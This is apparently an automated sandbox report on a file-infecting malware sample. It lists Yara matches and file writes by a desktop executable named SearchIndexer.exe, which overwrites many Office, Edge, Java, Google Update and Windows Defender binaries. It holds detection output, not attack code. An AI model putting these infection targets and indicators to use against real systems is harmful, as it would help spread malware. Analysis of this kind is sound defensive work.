                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED
                              Infects executable files (exe, dll, sys, html)
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXEJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSystem file written: C:\Windows\System32\SecurityHealthSystray.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Au3Check.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Users\user\AppData\Local\Temp\chrome.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXEJump to behavior
